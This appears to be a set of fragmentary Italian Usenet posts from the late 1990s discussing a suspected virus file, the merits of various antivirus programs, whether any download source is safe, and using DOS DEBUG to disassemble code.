file -^&-_ l'ho eliminato con il preistorico PcTools 5.0 per Dos.
(penso che anche il comando DEL, con il computer riavviato in modalità
ms-dos, dovrebbe cancellarlo senza problemi)
Spero di essere stato utile!
Ciao Marco.
Marc...@mbox.netway.it

controllo.
Giusto, lo faccio subito
MATRO
http://www.geocities.com/SiliconValley/8383
****** ATTENZIONE!! ******
Per rispondere, rimuovi "*" dall'indirizzo email.

 di correggere perche' chi vuoi che usi ancora Windows95 tra 100 anni.
Non mettere limiti alla divina provvidenza, non si può mai dire!!! :)

 venfa ad offrire nei NG ?
E' sempre difficile resistere alla tentazione, ma sono
d'accordo con te!
Tutti sempre pronti a parlare male delle Software House
(vedi il recente caso della patch di protezione in Explorer3)
e poi altrettanto pronti a scaricare di tutto dalla rete.
Ma è un difetto umano........purtroppo...........
Paolo Palmeri
pal...@bip.it

disassemblatore o un debugger.
Per esempio, quale?
---
Saluti
Stefano

 
Scusatemi...
seguo da alcuni giorni questo thread senza intervenire
ma ora non ce la faccio più......
come cavolo "si formattano le prime 10 tracce del disco"????????
Paolo Palmeri
pal...@bip.it

Per esempio, quale?
C:\WINDOWS\COMMAND\DEBUG.EXE
Per disassemblare:
-u 100 357
Per fare hex dump:
-d 100 357
bye,
 MArco
Marco Guerra
Undergraduate computer science student
e-mail: 
mar...@technologist.com

Non mi stupisce affatto vedendo i risultati della nostra burocrazia!
---------------------------
Daniele - 
ono...@infonie.fr
---------------------------


Mai accettare caramelle dagli sconosciuti...
E a te chi ti conosce!, e io chi sono! Magari sono stato io o sei
stato tu.
Denis Grilli     
dgr...@mbox.queen.it
http://www.queen.it/web4you/users/grilli/index.html

 stato tu.
Se lo sconosciuto "si fa per dire" l'hai trovato, buon per te. 
Di certo NON SI E' PRESENTATO nel suo messaggio come invece 
stiamo facendo noi che discutiamo. C'e' una GRANDE DIFFERENZA!
-- 
____________________________________
Giancarlo Pillan  -  Ivrea  -  Italy
____________________________________

 
potremmo sapere il nome del File?
Bye Marco

pagina web, non cambia niente.
Senti amico, hai piu` o meno idea di cosa si stia parlando, o te ne
esci cosi` per ridere?
Rileggiti gli altri mex.
riggs
 

Ci sono DUE regole fondamentali da seguire quando si scarica un
programma  che non provenga da una fonte SICURA. (Almeno il piu' sicura
possibile)
1) NON SCARICARE MAI programmi da Internet.
2) La regola 1 non deve essere MAI evitata.
Chiaro?
-- 
My e-mail address is altered to avoid auto-mailed spam in my E-Mail.
Remove the UGO in front of it to respond.
------------------------------------------------------------------------
Piero Giorgi
Software engineer
pgi...@insweb.com
pgi...@bigfoot.com

 Che fai Saint, a dispetto del nome.... sfotti?
Tutt'altro. La domanda era stata posta a te. Al piu' usurpavo il
diritto di risposta.
Qui in ufficio la firma "Maurizio Paganelli" e' valutata piu' della
certificazione ISO9000.
Ciao Maurizio!


 writes:

E tu pensi che William Gates III (ed eredi) rinuncino a venderti
ulteriori 10 nuovi ed innovativi S.O ?


 
Il modo migliore,per farsi fregare,e' appunto quello di downlodare il 
primo .zip che ti pubblicizza il frescone di turno, siti collaudati
come 
microsoft.com
 e simili,non penso proprio che non controllino
piu' volte quello che mettono on-line,del resto la sicurezza non sara'
mai assoluta,tempo fa e' capitato ad una rivista specializzata,con il
suo bravo cd....................

>caso: 202.73.253.109
Falso... es. Alcuni server SMTP non chiedono l'ip e in particolare
quelli che hanno una riga del tipo ...
   220 xxxx.xxxx.xxx Smail3.1.29.1 #15 ready at Mon, 10 Jan 96 12:34
EDT
con quel "3" !! E' lo stesso espediente che suano i remailer anonimi
;-D
========
LU...@EMAILS.COM
==========
Luca G. / Big-Bang-Boy
from Italy
========
LU...@EMAILS.COM
==========
____________________________________
(2nd e-mail: 
sky...@ntt.it
)
Visit my Home-Page: 
http://www.ipsnet.it/netpages/room745/
____________________________________
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
      writing from a place where
        streets have no names
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

mette a disposizione?
Pero` almeno sapra` di chi sono! Il che mi pare essenziale.

stiamo facendo noi che discutiamo. C'e' una GRANDE DIFFERENZA!
Anche qui hai ragione anche se una persona può benissimo falsificare
la sua Signature. 
ciao


2) La regola 1 non deve essere MAI evitata.
scusa, ma tu Netscape o qualsiasi altro browser, eudora o qualsiasi
altro client di e-mail, agent o qualsiasi altro client di news dove li
trovi?
Mi interesserebbe molto dato che vorrei avere anche io una fonte
SICURA.


Consiglio AVP. E' il top.
Che ne pensi di ITAVPro?
Alessio


Gianfranc...@iol.it
Ciao
Alessio
PS: Il mio messaggio messaggio non ha l'intenzione di essere
offensivo, ma di farti notare un errore nei tuoi MSG, visto che
probabilmente tu non lo puoi vedere.

E cosa vi aspettavate che fosse un ranger


Cosa hai contro l'antivirus della Mc.Afee? E' veramente da buttare nel
cesso? Perchč? Potresti darci qualche esempio concreto (paragone con
altri antivirus,ecc.)

SETTIMANA!!!!!  IO HO DOVUTO FORMATTARE L' HD.
Che antivirus hai utilizzato per rilevare il "Fatal Day"?
Mc.Afee,Tbav,NAV,f-prot,AVP,VN ultime versioni non rilevano nessun
virus. O è un nome che ti sei inventato?


E' risaputo che NON esiste il miglior
antivirus (Domenico Cafarello PC-Prof.)
Alcuni eccellono nell'identificazione,
altri nella rimozione. Altri ancora sono
semplici da usare mentre certi programmi
lasciano molte più opzioni all'utente più
esperto.
La migliore arma, secondo me, è l'uso
di più programmi antivirus.
Bye
Pedro.

 trovi?
Beh, i maggiori siti FTP sono ragionevolmente sicuri.
E poi puoi sempre prendere i sorgenti di Emacs, controllarli e compilarli :)


| Beh, i maggiori siti FTP sono ragionevolmente sicuri.
| 
| E poi puoi sempre prendere i sorgenti di Emacs, controllarli e
compilarli :)
| 
AAAAAAhhhhhhhhh, le famosissime sorgenti di Emacs...certo...cretino chi
non ci pensa...:):):)
Ma de che stai parlando???